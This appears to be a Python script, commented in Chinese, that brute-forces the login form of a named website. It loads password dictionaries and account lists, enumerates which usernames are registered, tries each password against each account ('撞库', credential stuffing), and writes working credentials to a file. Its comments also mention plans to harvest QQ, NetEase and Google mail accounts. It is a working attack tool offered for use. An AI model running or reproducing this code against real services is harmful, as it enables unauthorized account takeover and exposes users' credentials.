# -*- coding: utf-8 -*-
# 小欧网站爬取
import re
import urllib
import urllib.error
import urllib.request
import os
import requests
from bs4 import BeautifulSoup
from pip._vendor import requests
from requests.exceptions import RequestException

# 获取请求内容  https://hti230.xyz/tags/   get请求
# headers = {
#     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'
# }
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
}


# get方式一
def get_html(url):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.text
        return None
    except RequestException:
        print('请求页面出错', url)
        return None


# get方式二
def askURl(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
    }
    request = urllib.request.Request(url, headers=headers)
    try:
        response = urllib.request.urlopen(request)
        print(response.read().decode("utf-8"))
    except urllib.error.URLError as e:
        if hasattr(e, "code"):
            print(e.code)
        if hasattr(e, "reason"):
            print(e.reason)
    return response


# post方式一
def postTest(url, username, password):
    # 767137738 @ qq.com
    d = {'username': username,
         'password': password,
         'back': '%2Fmy'
         }
    r = requests.post(url, data=d)
    return r.text


# 主要内容解析

# 文件下载

# TODO-fwh-密码破解
# 获取邮箱账号-fwh
# 请求登录
def loginTest(loginURL):
    loginResult = postTest(loginURL)
    # print(loginResult)
    # 登录结果解析
    realAnalysisLogin(loginResult)


# 本地解析
def localAnalysisLogin(name, password):
    # path = './temp/loginError.html'
    # path = './temp/loginNoExist.html'
    path = './temp/loginOk.html'
    htmlfile = open(path, 'r', encoding='utf-8')
    htmlhandle = htmlfile.read()
    soup = BeautifulSoup(htmlhandle, 'lxml')
    # 获取头信息-登录成功
    titleInfo = soup.title.string.strip()
    if '个人中心' == titleInfo:
        return '登录成功'
        # return True
    errorData = soup.find_all('div', class_="cform")
    if len(errorData) != 0:
        for item in errorData:
            item = str(item)  # 转换成字符串
            result = re.findall(re.compile(r'<div class="alert alert-warning" role="alert">(.*?)</div>'), item)[0]
            # 用户名不存在，请先注册
            # 用户名或密码错误！  -- 爬取QQ邮箱  爬取网易邮箱  爬取谷歌邮箱-得到账户信息
            return result.strip()
            # return False
    else:
        return '登录异常'
        # return False


# 真实解析登录数据
def realAnalysisLogin(loginResult):
    soup = BeautifulSoup(loginResult, "html.parser")
    # 获取头信息-登录成功
    titleInfo = soup.title.string.strip()
    if '个人中心' == titleInfo:
        successData = soup.find_all('div', class_="panel-body")
        if len(successData) != 0:
            for item in successData:
                item = str(item)
                if item.__contains__("哥，你还不是VIP"):
                    return '普通用户登录成功'
                else:
                    return 'VIP用户登录成功'
        return '登录成功'
    errorData = soup.find_all('div', class_="cform")
    if len(errorData) != 0:
        for item in errorData:
            item = str(item)  # 转换成字符串
            result = re.findall(re.compile(r'<div class="alert alert-warning" role="alert">(.*?)</div>'), item)[0]
            # 用户名不存在，请先注册
            # 用户名或密码错误！  -- 爬取QQ邮箱  爬取网易邮箱  爬取谷歌邮箱-得到账户信息
            return result.strip()
    else:
        return '登录异常'


# 如何获取密码字典集--TODO-fwh

# 密码爆破
user = 'testUser'  # 用户名-邮箱、手机号、QQ号、微信号
# password=['1','12','123','1234','12345','123456','12345678']
# path = '/Users/fwh/A_FWH/SourceTree/spider/temp/pwdNum6.txt'
path = './temp/pwdNum7.txt'
pfile = open(path, 'r')
# registerPath = '/Users/fwh/A_FWH/SourceTree/spider/temp/registerUserInfo.txt'
registerPath = './temp/registerUserInfo.txt'
# 密码对撞
# userRealPath = '/Users/fwh/A_FWH/SourceTree/spider/temp/zhanghao.txt'
userRealPath = './temp/zhanghao.txt'
userNameFile = open(userRealPath, 'r')


# 注册用户筛选
# userInfoPath = '/Users/fwh/A_FWH/SourceTree/spider/temp/qqInfo.txt'  # 注册QQ用户源
# pfile = open(userInfoPath, 'r')


# 获取注册用户比对
def getUserInfo(loginURL):
    # 得到用户名-注册验证
    password = "wuxiaomima"
    path = '/Users/fwh/A_FWH/SourceTree/spider/temp/pwdNum6.txt'
    pfile = open(path, 'r')
    userRealData = []
    for username in pfile.readlines():
        username = username.replace('\n', '').replace('\r', '')
        userData = getData(loginURL, username, password)
        userRealData.append(userData)
    saveData(userRealData, registerPath)
    print('保存数据成功……')


# 密码比对记录
def resolvePassword():
    print('密码库写入内存开始……')
    allPasswordData = []
    for onePwd in pfile.readlines():
        allPasswordData.append(onePwd)  # 密码库加载到内存中
    print('密码库写入内存结束……')
    print('开始撞库……')
    userData = []
    for username in userNameFile.readlines():
        username = username.replace('\n', '').replace('\r', '')
        for onePwd in allPasswordData:
            password = onePwd[:6]
            # reuslt = localAnalysisLogin(user, password) #本地测试页面
            loginResult = postTest(loginURL, username, password)  # 真实测试
            reuslt = realAnalysisLogin(loginResult)
            if '普通用户登录成功' == reuslt:
                print(username + "普通用户登录成功,密码：" + password)
                userData.append("账号:" + username)
                userData.append("密码：" + password)
                userData.append("--普通用户登录成功--->")
                break
            if 'VIP用户登录成功' == reuslt:
                print(username + "VIP用户登录成功,密码：" + password)
                userData.append("VIP账号:" + username)
                userData.append("密码：" + password)
                userData.append("--VIP用户登录成功--->")
                break
            if '用户名或密码错误！' == reuslt:
                print(username + "密码不对,密码：" + password)
            if '用户名不存在，请先注册' == reuslt:
                print("未注册数据")
                userData.append("--账号未注册--->")
    saveData(userData, registerPath)
    print('爬虫结束……')


# 获取用户比对信息
def getData(loginURL, username, password):
    userData = []
    loginResult = postTest(loginURL, username, password)  # 真实测试
    reuslt = realAnalysisLogin(loginResult)
    userData.append(username)
    if '登录成功' == reuslt:
        # 写入成功数据
        print("登录成功:" + username)
        userData.append("--登录成功--->")
        userData.append(password)
    if '用户名或密码错误！' == reuslt:
        # 写入已注册账号数据
        print("已注册账号数据:" + username)
        userData.append("--账号存在--->")
    if '用户名不存在，请先注册！' == reuslt:
        print("未注册数据:" + username)
        userData.append("--账号未注册--->")
    return userData


def saveData(data, path):
    print('开始数据写入……')
    file_object = open(path, 'w')
    file_object.writelines(['%s%s' % (x, os.linesep) for x in data])
    file_object.close()


if __name__ == '__main__':
    print('开始爬虫……')
    # homeUrl = "https://hti230.xyz/tags/"
    # registUrl = "https://hti230.xyz/account/regist?back=%2Fmy"
    loginURL = "https://hti230.xyz/account/login?back=%2Fmy"
    # print(get_html(url))
    # get_html(url)
    # askURl(url)
    # print(postTest(loginURL))
    # loginTest(loginURL)
    # print(localAnalysisLogin())
    # resolvePassword()

    # getUserInfo(loginURL) #获取用户
    resolvePassword()  # 对撞密码
# 提示div  class="cform"
